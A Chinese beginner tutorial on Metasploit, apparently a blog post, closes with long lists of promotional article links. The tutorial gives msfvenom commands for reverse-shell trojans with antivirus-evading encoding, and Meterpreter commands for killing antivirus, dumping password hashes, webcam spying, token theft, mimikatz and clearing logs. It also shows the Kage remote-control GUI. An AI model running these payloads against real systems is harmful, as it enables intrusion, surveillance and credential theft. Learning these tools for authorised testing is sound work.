2025版最新渗透工具：Metasploit（基础篇）零基础入门到精通，收藏这篇就够了

一、认识 Metasploit（MSF）

我愿意称metasploit为地表最强渗透工具！（夸张了夸张了，哈哈哈哈）

msf 是一款开源安全漏洞利用和测试工具，它本身附带了2000 多个各种平台上常见的溢出漏洞和流行的 shellcode，最重要的是，它还在持续保持更新。

metasploit 让复杂的漏洞攻击流程变的非常简单，即使是一个电脑小白，只需要经过几小时的学习，就能对操作系统等主流漏洞发起危害性攻击。

今天这一节的内容，主要是带领大家熟悉metasploit的基础使用，下一节再带领大家使用metasploit进行实战练手。

如果你已经对metasploit有一定的了解了，可以直接跳过这一节，看我下一节的内容。

如果你刚接触metasploit的话，那这一节内容，你一定要看仔细了！

1.1、MSF 目录架构

进入目录

1. data目录``里面存有为msf中可以编写的一些文件，里面含有msf存储的漏洞具体数据，一般在使用exp时会编写一些重要的函数，简单来说就是存放我们可以利用的漏洞的数据的地方。

复制代码

1. documentation文档目录``存放了msf的一些相关文档，工具介绍等

复制代码

1. lib静态链接库目录``存放了msf中的ruby代码

复制代码

1. modules模块目录``存放了msf的模块，msf为模块化工具，插件

复制代码

1. tools目录``小工具模块

复制代码

二、MSF 基础操作

2.1、msf 的基础部分

内置数据库posetsql

1. Linux初始化并启动msf数据库``msfdb init

复制代码

1. kali中的启动命令``msfconsole``查看数据库状态``db_status

复制代码

1. help #查看帮助``exit #退出

复制代码

MSF 共分为3个部分：

（1）刚进入页面的操作部分

（2）msfvenom 生成攻击载荷的工具，内嵌于 msf

（3）当进入某个会话时的部分

2.2、简单操作命令

1. show 模块名 #查看/展示模块（exploits、payloads、enncoders等）``search 模块名 #没什么好方法，可以直接搜索漏洞编号，或者网上查询需要的模块名``use 模块名 #使用需要的模块``back #返回上一级``info #查看模块详细信息``show options #非常常用，看具体配置，通过Required下面为Yes为必填项``set Name xxxx #在options中的必填项名字后面接具体信息``run / exploit #执行模块

复制代码

1. exploit -j #通过这条命令运行任务``jobs #查看后台正在执行的工作``kill ID值 #关闭后台正在执行的工作

复制代码

2.3、常用的扫描模块

一般 msf 将扫描模块都放在auxiliary/scanner当中

2.3.1、arp 扫描

使用 ARP 请求枚举本地网络中的活动主机

1. 在kali中如下目录为msf的模块目录``/usr/share/metasploit-framework/modules/auxiliary/

复制代码

1. search arp

复制代码

可以看到有scanner的很多扫描器，auxiliary/scanner/discovery/arp_sweep关于信息收集的有很多。

1. use auxiliary/scanner/discovery/arp_sweep //选择模块``options //显示参数配置``set rhosts xxx.xxx.x.x/24 //确定主机``set threads 10 //调线程``run //运行

复制代码

2.3.2、UDP 扫描

1. search udp``use auxiliary/scanner/discovery/udp_sweep

复制代码

可以看到有很多很多模块供我们使用

自己试试用得顺手的模块

这里就不使用了

2.3.3、端口扫描

SYN、ACK、TCP、XMAS、FTP 扫描等等

1. search portscan` `use auxiliary/scanner/portscan/tcp

复制代码

2.3.4、SMB 扫描

1. search smb``use auxiliary/scanner/smb/smb_version //可以探索版本信息

复制代码

2.4、EXP 模块

1. use exploit //输入这个然后按Tab键可进行阅览

复制代码

可以看到有2251个项目，这里就不一一枚举了

如果目前已知目标系统为 windows，那么直接搜索可以减少阅览量

1. use exploit/windows

复制代码

大部分 EXP 模块都是在已经取得一定权限后使用的，比如提权等，rce（MS17-010） 等比较少

就按 windows 来说，当我们执行成功时，不仅仅只是执行了一个命令，我们还可以为其添加一个攻击载荷，使其在执行完命令后，还能为我们反弹回来一个会话

1. set payload windows/x64/meterpreter/reverse_tcp``然后查看配置``options

复制代码

可以发现这里多了一条 payload，有这个 payload 后，在执行完 rce 后，会返回一个 msf 的会话，支持很多系统

1. set payload //然后按Tab就行

复制代码

三、msf 可视化远控平台 Kage

3.1、Kage 安装

当然我们也可以使用msf可视化远控平台----Kage

项目地址:https://github.com/WayzDev/Kage/

1. https://github.com/Zerx0r/Kage/releases

复制代码

1. git clone https://github.com/Zerx0r/Kage.git

复制代码

1. `安装好后进入Kage``cd Kage``安装依赖项``yarn``第二个项目因为我们是Linux系统，所以我们下载``Kage.0.1.1-beta_linux.AppImage`

复制代码

1. 建议使用root权限运行``接着我们使用下面这行代码来运行msf，启动msf并开启一个接口``msfconsole -q -x 'load msgrpc ServerHost=0.0.0.0 ServerPort=55562 User=msfuser Pass=msfpass'``接下来我们需要用kage连接这个接口，开启可视化msf``当然也可以直接写入下面的代码运行``msfrpcd -U msfuser -P msfpass -a 0.0.0.0``-U: 登录kage的账号``-P:登录kage的密码``-a: msf的ip地址（很重要，要是kage和msf在同一台电脑，用0.0.0.0即127.0.0.1）``赋予程序启动权限，启动程序并登陆``chmod 777 Kage.0.1.1-beta_linux.AppImage``./Kage.0.1.1-beta_linux.AppImage

复制代码

输入我们设置的账号密码，就可以进入了

3.2、Kage 的使用

我们可以利用命令生成木马，也可以在平台上生成木马，根据自己的具体情况来看，在木马成功上线目标机时，会有各种操作可用。

1. Jobs是监听功能，Payload generator是木马生成程序``首先我们需要开启监听并发送木马``生成木马支持多种平台和方式，选择你所需要的方式进行木马生成。后续的监听也是需要保持同生成木马的一致性（本机IP、负载方法、监听端口）``木马生成（填写程序名、负载方法、本机ip、端口、程序类型、编码方式（一般默认））``负载方法常用的是windows/meterpreter/reverse_tcp，当然，它也支持对安卓、linux以及java、python的负载方法，根据个人的测试环境。``生成的木马程序可以在右侧Saved as中看到是在root目录下，自己去目录中把文件拖出来就可以了。后续录音、拍照、下载等功能使用时的文件在会在该目录下

复制代码

3.3、Kage 可执行的操作

可以执行的操作：

（1）系统指令

（2）文件指令

（3）网络指令

（4）拍照指令

（5）录音指令

（6）文件存放（存放地址为Kage）

四、msfvenom 模块

4.1、概述

msfvenom 是 msf 生成 payload 的一个工具。

这里要区分一下 EXP 与 Payload ：EXP 是利用漏洞进行攻击动作，而 payload 是 EXP 执行成功后在目标内进行各种指令动作。

除了可以将 payload 插入到 exp 里面，也可以作为独立模块进行生成，需要用这个工具生成一个落地化的，类似于会话，可移植性各种操作。

4.2、基本操作

1. msfvenom``例子``/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe``-l #列出所有payload，需要添加参数payloads, encoders, nops, platforms, archs, encrypt, formats, all` `所支持的架构有：aarch64、armbe、armle、cbea、cbea64、cmd、dalvik、firefox、java、mips、mips64、mips64le、mipsbe、mipsle、nodejs、php、ppc、ppc64、ppc64le、ppce500v2、python、r、ruby、sparc、sparc64、tty、x64、x86、x86_64、zarch

复制代码

1. -p #后面跟payload的其余参数

复制代码

可以看到下面的有bind和reverse两种类型的 payload，那么有什么区别呢？

bind：正向，攻击机可以连接目标机，而目标机不能连接攻击机，是攻击机主动连接目标机。

reverse：反向，目标机主动连接攻击机，一般使用反弹 TCP 协议。

1. -f #指定输出文件格式``所支持的格式有：asp、aspx、aspx-exe、axis2、dll、elf、elf-so、exe、exe-only、exe-service、exe-small、hta-psh、jar、jsp、loop-vbs、macho、msi、msi-nouac、osx-app、psh、psh-cmd、psh-net、psh-reflection、python-reflection、vba、vba-exe、vba-psh、vbs、war;base32、base64、bash、c、csharp、dw、dword、go、golang、hex、java、js_be、js_le、nim、nimlang、num、perl、pl、powershell、ps1、py、python、raw、rb、ruby、sh、vbapplication、vbscript

复制代码

1. msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.71.138 lport=3333 -f exe > ceshi.exe` `生成一个windwos的反弹shell，名字为ceshi.exe

复制代码

1. -e #指定编码方式，绕过杀软的一种方式

复制代码

1. -i #指定编码次数，一般配合 -e 使用,最好小于20次，否则将不会运行

复制代码

1. 举个例子，生成一个 payload``winodws:``msfvenom -p windows/meterpreter/reverse_tcp LHOST=ipaddress LPORT=port -e 编码方式 -i 次数 -f exe > ceshi.exe``Linux``msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ipaddress LPORT=port -e 编码方式 -i 次数 -f elf > ceshi.elf

复制代码

五、Meterpreter 模块

当我们生成的 payload 成功在目标机器上执行时，便会返回这样一个会话，我们在此会话中执行各种后渗透操作。

5.1、基础操作

1. help #帮助``background #返回msf界面``sessions -l #返回所有会话信息``sessions -i id值 #返回指定交互会话``pwd #返回目标机中所处目录位置``lpwd #查看本地目录``cd #切换目标机指定目录``lcd #切换本机指定目录``ls #列出目标机当前目录文件``lls #列出本机目录的文件``clearev #清除痕迹，清除我们在目标机器上的一些操作痕迹！！！``download 文件名 #将目标文件下载到本地``upload 文件名 #将文件上传到目标机``shell #进入cmd命令框``exit #退出终端``ps #列出目标进程``getuid #查看当前用户的身份，可以理解为用户名``getprivs #查看当前用户的权限``getpid #查看木马进程``idletime #查看目标服务器空闲时间``sysinfo #查看目标主机信息``kill PID号 #杀死进程``shutdown #关机``reboot #重启``netstat #查看网络连接情况``ipconfig #查看目标IP信息``getsystem #尝试提权

复制代码

不过进入 windows 会有乱码出现，我们使用chcp 65001便可以解决中文乱码。

1. execute #需要参数，在目标机执行一些命令``用法：execute -f file [options]``在远程计算机上执行命令。``选项：``-a #传递给命令的参数。``-c #通道化I/O（交互需要）。``-d #使用-m时要启动的“虚拟”可执行文件。``-f #要运行的可执行命令。``-h #帮助菜单。``-H #创建隐藏在视图中的流程。``-i #创建流程后与流程交互。``-k #在流量计当前桌面上执行进程``-m #从内存执行。``-p #在pty中执行进程（如果在目标平台上可用）``-s #以会话用户身份在给定会话中执行进程``-t #使用当前模拟的线程标记执行进程``-z #在子shell中执行进程``execute -f ceshi.exe -H

复制代码

我们一般只用-f参数来执行一个文件进程，使用-h参数来隐藏进程。

1. migrate PID进程码 #进程迁移命令``migrate 所要迁移的进程号也就是PID

复制代码

5.2、配合 meterpreter 的信息收集模块

有很多模块，大多数都是对于主机的信息收集功能，以 POST 开头。

1. 进入meterpreter中，使用run

复制代码

1. run killav #杀死杀毒软件``run hashdump #导出目标机的哈希保存密码（需要权限）``run post/windows/wlan/wlan_profile #获取wifi密码``run vnc #实时屏幕监控``run webcam #开启一个摄像头（要求对面拥有摄像头）``run post/windows/gather/checkvm #查看当前主机是否为虚拟机``run post/windows/gather/enum_computers #探寻域内主机``run post/windows/manage/enable_rdp #开启目标3389端口

复制代码

5.3、Token 窃取

1. load incognito #令牌窃取工具``list_tokens -u #列出可以模拟的令牌``impersonate_token 可以模拟的令牌成员名 #窃取一个指定的令牌,获取相应权限

复制代码

一般窃取管理员或者 SYSTEM 的身份：

1. mimikatz``load mimikatz``wdigest #抓取计算机中的明文密码

复制代码

六、armitage

Armitage 就是一款使用 Java 为 Metasploit 编写的有图形化操作界面的软件，通过它可以轻松的使用 Metasploit 对目标进行攻击

感觉不如用 kage。。。。。

七、MSF 更新

1. apt update``apt install metasploit-framework

复制代码

MSF 插件更新可以从下面地址获取

插件地址：https://exploit-db.com

搜索 Metasploit 可以查询相应插件加载，里面文档有安装教程

黑客/网络安全学习路线

对于从来没有接触过黑客/网络安全的同学，目前网络安全、信息安全也是计算机大学生毕业薪资相对较高的学科。

大白也帮大家准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

这也是耗费了大白近四个月的时间，吐血整理，文章非常非常长，觉得有用的话，希望粉丝朋友帮忙点个**「分享」「收藏」「在看」「赞」**

网络安全/渗透测试法律法规必知必会****

今天大白就帮想学黑客/网络安全技术的朋友们入门必须先了解法律法律。

【网络安全零基础入门必知必会】网络安全行业分析报告（01）

【网络安全零基础入门必知必会】什么是黑客、白客、红客、极客、脚本小子？（02）

【网络安全零基础入门必知必会】网络安全市场分类（03）

【网络安全零基础入门必知必会】常见的网站攻击方式（04）

【网络安全零基础入门必知必会】网络安全专业术语全面解析（05）

【网络安全入门必知必会】《中华人民共和国网络安全法》（06）

【网络安全零基础入门必知必会】《计算机信息系统安全保护条例》（07）

【网络安全零基础入门必知必会】《中国计算机信息网络国际联网管理暂行规定》（08）

【网络安全零基础入门必知必会】《计算机信息网络国际互联网安全保护管理办法》（09）

【网络安全零基础入门必知必会】《互联网信息服务管理办法》（10）

【网络安全零基础入门必知必会】《计算机信息系统安全专用产品检测和销售许可证管理办法》（11）

【网络安全零基础入门必知必会】《通信网络安全防护管理办法》（12）

【网络安全零基础入门必知必会】《中华人民共和国国家安全法》（13）

【网络安全零基础入门必知必会】《中华人民共和国数据安全法》（14）

【网络安全零基础入门必知必会】《中华人民共和国个人信息保护法》（15）

【网络安全零基础入门必知必会】《网络产品安全漏洞管理规定》（16）

网络安全/渗透测试linux入门必知必会

【网络安全零基础入门必知必会】什么是Linux？Linux系统的组成与版本？什么是命令（01）

【网络安全零基础入门必知必会】VMware下载安装，使用VMware新建虚拟机，远程管理工具（02）

【网络安全零基础入门必知必会】VMware常用操作指南（非常详细）零基础入门到精通，收藏这一篇就够了（03）

【网络安全零基础入门必知必会】CentOS7安装流程步骤教程（非常详细）零基入门到精通，收藏这一篇就够了（04）

【网络安全零基础入门必知必会】Linux系统目录结构详细介绍（05）

【网络安全零基础入门必知必会】Linux 命令大全（非常详细）零基础入门到精通，收藏这一篇就够了（06）

【网络安全零基础入门必知必会】linux安全加固（非常详细）零基础入门到精通，收藏这一篇就够了（07）

网络安全/渗透测试****计算机网络入门必知必会****

【网络安全零基础入门必知必会】TCP/IP协议深入解析（非常详细）零基础入门到精通，收藏这一篇就够了（01）

【网络安全零基础入门必知必会】什么是HTTP数据包&Http数据包分析（非常详细）零基础入门到精通，收藏这一篇就够了（02）

【网络安全零基础入门必知必会】计算机网络—子网划分、子网掩码和网关（非常详细）零基础入门到精通，收藏这一篇就够了（03）

网络安全/渗透测试入门之HTML入门必知必会

【网络安全零基础入门必知必会】什么是HTML&HTML基本结构&HTML基本使用（非常详细）零基础入门到精通，收藏这一篇就够了1

【网络安全零基础入门必知必会】VScode、PhpStorm的安装使用、Php的环境配置，零基础入门到精通，收藏这一篇就够了2

【网络安全零基础入门必知必会】HTML之编写登录和文件上传（非常详细）零基础入门到精通，收藏这一篇就够了3

网络安全/渗透测试入门之Javascript入门必知必会

【网络安全零基础入门必知必会】Javascript语法基础（非常详细）零基础入门到精通，收藏这一篇就够了（01）

【网络安全零基础入门必知必会】Javascript实现Post请求、Ajax请求、输出数据到页面、实现前进后退、文件上传（02）

网络安全/渗透测试入门之Shell入门必知必会

【网络安全零基础入门必知必会】Shell编程基础入门（非常详细）零基础入门到精通，收藏这一篇就够了（第七章）

网络安全/渗透测试入门之PHP入门必知必会

【网络安全零基础入门】PHP环境搭建、安装Apache、安装与配置MySQL（非常详细）零基础入门到精通，收藏这一篇就够（01）

【网络安全零基础入门】PHP基础语法（非常详细）零基础入门到精通，收藏这一篇就够了（02）

【网络安全零基础入门必知必会】PHP+Bootstrap实现表单校验功能、PHP+MYSQL实现简单的用户注册登录功能（03）

网络安全/渗透测试入门之MySQL入门必知必会

【网络安全零基础入门必知必会】MySQL数据库基础知识/安装（非常详细）零基础入门到精通，收藏这一篇就够了（01）

【网络安全零基础入门必知必会】SQL语言入门（非常详细）零基础入门到精通，收藏这一篇就够了（02）

【网络安全零基础入门必知必会】MySQL函数使用大全（非常详细）零基础入门到精通，收藏这一篇就够了（03）

【网络安全零基础入门必知必会】MySQL多表查询语法（非常详细）零基础入门到精通，收藏这一篇就够了（04）

****网络安全/渗透测试入门之Python入门必知必会

【网络安全零基础入门必知必会】之Python+Pycharm安装保姆级教程，Python环境配置使用指南，收藏这一篇就够了【1】

【网络安全零基础入门必知必会】之Python编程入门教程（非常详细）零基础入门到精通，收藏这一篇就够了（2）

python开发之手写第一个python程序

python开发笔记之变量

python基础语法特征

python开发数据类型

python开发笔记之程序交互

python入门教程之python开发学习笔记基本数据类型

python入门教程之python开发笔记之格式化输出

python入门教程之python开发笔记基本运算符

python入门教程python开发基本流程控制if … else

python入门教程之python开发笔记流程控制之循环

python入门之Pycharm开发工具的使用

python入门教程之python字符编码转换

python入门之python开发字符编码

python入门之python开发基本数据类型数字

python入门python开发基本数据类型字符串

python入门python开发基本数据类型列表

python入门python开发基本数据类型

python入门教程之python开发可变和不可变数据类型和hash

python入门教程python开发字典数据类型

python入门之python开发笔记基本数据类型集合

python开发之collections模块

python开发笔记之三元运算

【网络安全零基础入门必知必会】之10个python爬虫入门实例(非常详细)零基础入门到精通，收藏这一篇就够了（3）

****网络安全/渗透测试入门之SQL注入入门必知必会

【网络安全渗透测试零基础入门必知必会】之初识SQL注入（非常详细）零基础入门到精通，收藏这一篇就够了（1）

【网络安全渗透测试零基础入门必知必会】之SQL手工注入基础语法&工具介绍（2）

【网络安全渗透测试零基础入门必知必会】之SQL注入实战（非常详细）零基础入门到精通，收藏这一篇就够了（3）

【网络安全渗透测试零基础入门必知必会】之SQLmap安装&实战（非常详细）零基础入门到精通，收藏这一篇就够了（4）

【网络安全渗透测试零基础入门必知必会】之SQL防御（非常详细）零基础入门到精通，收藏这一篇就够了（4）

****网络安全/渗透测试入门之XSS攻击入门必知必会

【网络安全渗透测试零基础入门必知必会】之XSS攻击基本概念和原理介绍（非常详细）零基础入门到精通，收藏这一篇就够了（1）

网络安全渗透测试零基础入门必知必会】之XSS攻击获取用户cookie和用户密码（实战演示）零基础入门到精通收藏这一篇就够了（2）

【网络安全渗透测试零基础入门必知必会】之XSS攻击获取键盘记录（实战演示）零基础入门到精通收藏这一篇就够了（3）

【网络安全渗透测试零基础入门必知必会】之xss-platform平台的入门搭建（非常详细）零基础入门到精通，收藏这一篇就够了4

【网络安全渗透测试入门】之XSS漏洞检测、利用和防御机制XSS游戏（非常详细）零基础入门到精通，收藏这一篇就够了5

****网络安全/渗透测试入门文件上传攻击与防御入门必知必会

【网络安全渗透测试零基础入门必知必会】之什么是文件包含漏洞&分类（非常详细）零基础入门到精通，收藏这一篇就够了1

【网络安全渗透测试零基础入门必知必会】之cve实际漏洞案例解析（非常详细）零基础入门到精通， 收藏这一篇就够了2

【网络安全渗透测试零基础入门必知必会】之PHP伪协议精讲(文件包含漏洞)零基础入门到精通，收藏这一篇就够了3

【网络安全渗透测试零基础入门必知必会】之如何搭建 DVWA 靶场保姆级教程（非常详细）零基础入门到精通，收藏这一篇就够了4

【网络安全渗透测试零基础入门必知必会】之Web漏洞-文件包含漏洞超详细全解（附实例）5

【网络安全渗透测试零基础入门必知必会】之文件上传漏洞修复方案6

****网络安全/渗透测试入门CSRF渗透与防御必知必会

【网络安全渗透测试零基础入门必知必会】之CSRF漏洞概述和原理（非常详细）零基础入门到精通， 收藏这一篇就够了1

【网络安全渗透测试零基础入门必知必会】之CSRF攻击的危害&分类（非常详细）零基础入门到精通， 收藏这一篇就够了2

【网络安全渗透测试零基础入门必知必会】之XSS与CSRF的区别（非常详细）零基础入门到精通， 收藏这一篇就够了3

【网络安全渗透测试零基础入门必知必会】之CSRF漏洞挖掘与自动化工具（非常详细）零基础入门到精通，收藏这一篇就够了4

【网络安全渗透测试零基础入门必知必会】之CSRF请求伪造&Referer同源&置空&配合XSS&Token值校验&复用删除5

****网络安全/渗透测试入门SSRF渗透与防御必知必会

【网络安全渗透测试零基础入门必知必会】之SSRF漏洞概述及原理（非常详细）零基础入门到精通，收藏这一篇就够了 1

【网络安全渗透测试零基础入门必知必会】之SSRF相关函数和协议（非常详细）零基础入门到精通，收藏这一篇就够了2

【网络安全渗透测试零基础入门必知必会】之SSRF漏洞原理攻击与防御（非常详细）零基础入门到精通，收藏这一篇就够了3**
**

****网络安全/渗透测试入门XXE渗透与防御必知必会

【网络安全渗透测试零基础入门必知必会】之XML外部实体注入（非常详细）零基础入门到精通，收藏这一篇就够了1

网络安全渗透测试零基础入门必知必会】之XXE的攻击与危害（非常详细）零基础入门到精通，收藏这一篇就够了2

【网络安全渗透测试零基础入门必知必会】之XXE漏洞漏洞及利用方法解析（非常详细）零基础入门到精通，收藏这一篇就够了3

【网络安全渗透测试零基础入门必知必会】之微信XXE安全漏洞处理（非常详细）零基础入门到精通，收藏这一篇就够了4

****网络安全/渗透测试入门远程代码执行渗透与防御必知必会

【网络安全渗透测试零基础入门必知必会】之远程代码执行原理介绍（非常详细）零基础入门到精通，收藏这一篇就够了1

【网络安全零基础入门必知必会】之CVE-2021-4034漏洞原理解析（非常详细）零基础入门到精通，收藏这一篇就够了2

【网络安全零基础入门必知必会】之PHP远程命令执行与代码执行原理利用与常见绕过总结3

【网络安全零基础入门必知必会】之WEB安全渗透测试-pikachu&DVWA靶场搭建教程，零基础入门到精通，收藏这一篇就够了4

****网络安全/渗透测试入门反序列化渗透与防御必知必会

【网络安全零基础入门必知必会】之什么是PHP对象反序列化操作（非常详细）零基础入门到精通，收藏这一篇就够了1

【网络安全零基础渗透测试入门必知必会】之php反序列化漏洞原理解析、如何防御此漏洞？如何利用此漏洞？2

【网络安全渗透测试零基础入门必知必会】之Java 反序列化漏洞（非常详细）零基础入门到精通，收藏这一篇就够了3

【网络安全渗透测试零基础入门必知必会】之Java反序列化漏洞及实例解析（非常详细）零基础入门到精通，收藏这一篇就够了4

【网络安全渗透测试零基础入门必知必会】之CTF题目解析Java代码审计中的反序列化漏洞，以及其他漏洞的组合利用5

网络安全/渗透测试**入门逻辑漏洞必知必会**

【网络安全渗透测试零基础入门必知必会】之一文带你0基础挖到逻辑漏洞（非常详细）零基础入门到精通，收藏这一篇就够了

网络安全/渗透测试入门暴力猜解与防御必知必会

【网络安全渗透测试零基础入门必知必会】之密码安全概述（非常详细）零基础入门到精通，收藏这一篇就够了1

【网络安全渗透测试零基础入门必知必会】之什么样的密码是不安全的？（非常详细）零基础入门到精通，收藏这一篇就够了2

【网络安全渗透测试零基础入门必知必会】之密码猜解思路（非常详细）零基础入门到精通，收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之利用Python暴力破解邻居家WiFi密码、压缩包密码，收藏这一篇就够了4

【网络安全渗透测试零基础入门必知必会】之BurpSuite密码爆破实例演示，零基础入门到精通，收藏这一篇就够了5

【网络安全渗透测试零基础入门必知必会】之Hydra密码爆破工具使用教程图文教程，零基础入门到精通，收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之暴力破解medusa，零基础入门到精通，收藏这一篇就够了7

【网络安全渗透测试零基础入门必知必会】之Metasploit抓取密码，零基础入门到精通，收藏这一篇就够了8

Wfuzz：功能强大的web漏洞挖掘工具

****网络安全/渗透测试入门掌握Redis未授权访问漏洞必知必会

【网络安全渗透测试零基础入门必知必会】之Redis未授权访问漏洞，零基础入门到精通，收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之Redis服务器被攻击后该如何安全加固，零基础入门到精通，收藏这一篇就够了**
**

网络安全/渗透测试入门掌握**ARP渗透与防御关必知必会**

【网络安全渗透测试零基础入门必知必会】之ARP攻击原理解析，零基础入门到精通，收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之ARP流量分析，零基础入门到精通，收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之ARP防御策略与实践指南，零基础入门到精通，收藏这一篇就够了

网络安全/渗透测试入门掌握系统权限提升渗透与防御关****必知必会

【网络安全渗透测试零基础入门必知必会】之Windows提权常用命令，零基础入门到精通，收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之Windows权限提升实战，零基础入门到精通，收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之linux 提权（非常详细）零基础入门到精通，收藏这一篇就够了

网络安全/渗透测试入门掌握Dos与DDos渗透与防御相关****必知必会

【网络安全渗透测试零基础入门必知必会】之DoS与DDoS攻击原理（非常详细）零基础入门到精通，收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之Syn-Flood攻击原理解析（非常详细）零基础入门到精通，收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之IP源地址欺骗与dos攻击，零基础入门到精通，收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之SNMP放大攻击原理及实战演示，零基础入门到精通，收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之NTP放大攻击原理，零基础入门到精通，收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之什么是CC攻击？CC攻击怎么防御？，零基础入门到精通，收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之如何防御DDOS的攻击？零基础入门到精通，收藏这一篇就够了

网络安全/渗透测试入门掌握无线网络安全渗透与防御相关****必知必会

【网络安全渗透测试零基础入门必知必会】之Aircrack-ng详细使用安装教程，零基础入门到精通，收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之aircrack-ng破解wifi密码(非常详细)零基础入门到精通，收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之WEB渗透近源攻击，零基础入门到精通，收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之无线渗透|Wi-Fi渗透思路，零基础入门到精通，收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之渗透WEP新思路Hirte原理解析，零基础入门到精通，收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之WPS的漏洞原理解析，零基础入门到精通，收藏这一篇就够了

网络安全/渗透测试入门掌握木马免杀问题与防御********必知必会

【网络安全渗透测试零基础入门必知必会】之Metasploit – 木马生成原理和方法，零基础入门到精通，收藏这篇就够了

【网络安全渗透测试零基础入门必知必会】之MSF使用教程永恒之蓝漏洞扫描与利用，收藏这一篇就够了

网络安全/渗透测试入门掌握Vulnhub靶场实战********必知必会

【网络安全渗透测试零基础入门必知必会】之Vulnhub靶机Prime使用指南，零基础入门到精通，收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之Vulnhub靶场Breach1.0解析，零基础入门到精通，收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之vulnhub靶场之DC-9，零基础入门到精通，收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之Vulnhub靶机Kioptrix level-4 多种姿势渗透详解，收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之Vulnhub靶场PWNOS: 2.0 多种渗透方法，收藏这一篇就够了

网络安全/渗透测试入门掌握社会工程学必知必会

【网络安全渗透测试零基础入门必知必会】之什么是社会工程学？定义、类型、攻击技术，收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之社会工程学之香农-韦弗模式，收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之社工学smcr通信模型，收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之社会工程学之社工步骤整理（附相应工具下载）收藏这一篇就够了

网络安全/渗透测试入门掌握********渗透测试工具使用******必知必会**

2024版最新Kali Linux操作系统安装使用教程（非常详细）零基础入门到精通，收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之渗透测试工具大全之Nmap安装使用命令指南，零基础入门到精通，收藏这一篇就够了

2024版最新AWVS安装使用教程（非常详细）零基础入门到精通，收藏这一篇就够了

2024版最新burpsuite安装使用教程（非常详细）零基础入门到精通，收藏这一篇就够了

2024版最新owasp_zap安装使用教程（非常详细）零基础入门到精通，收藏这一篇就够了

2024版最新Sqlmap安装使用教程（非常详细）零基础入门到精通，收藏这一篇就够了

2024版最新Metasploit安装使用教程（非常详细）零基础入门到精通，收藏这一篇就够了

2024版最新Nessus下载安装激活使用教程（非常详细）零基础入门到精通，收藏这一篇就够了

2024版最新Wireshark安装使用教程（非常详细）零基础入门到精通，收藏这一篇就够了

觉得有用的话，希望粉丝朋友帮大白点个**「分享」「收藏」「在看」「赞」**

黑客/网络安全学习包

资料目录

1. 成长路线图&学习规划

2. 配套视频教程

3. SRC&黑客文籍

4. 护网行动资料

5. 黑客必读书单

6. 面试题合集

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

1.成长路线图&学习规划

要学习一门新的技术，作为新手一定要先学习成长路线图，方向不对，努力白费。

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

2.视频教程

很多朋友都不喜欢晦涩的文字，我也为大家准备了视频教程，其中一共有21个章节，每个章节都是当前板块的精华浓缩。

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍：

黑客资料由于是敏感资源，这里不能直接展示哦！

4.护网行动资料

其中关于HW护网行动，也准备了对应的资料，这些内容可相当于比赛的金手指！

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里，你就要开始思考找工作的事情了，而工作绕不开的就是真题和面试题。

更多内容为防止和谐，可以扫描获取~

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享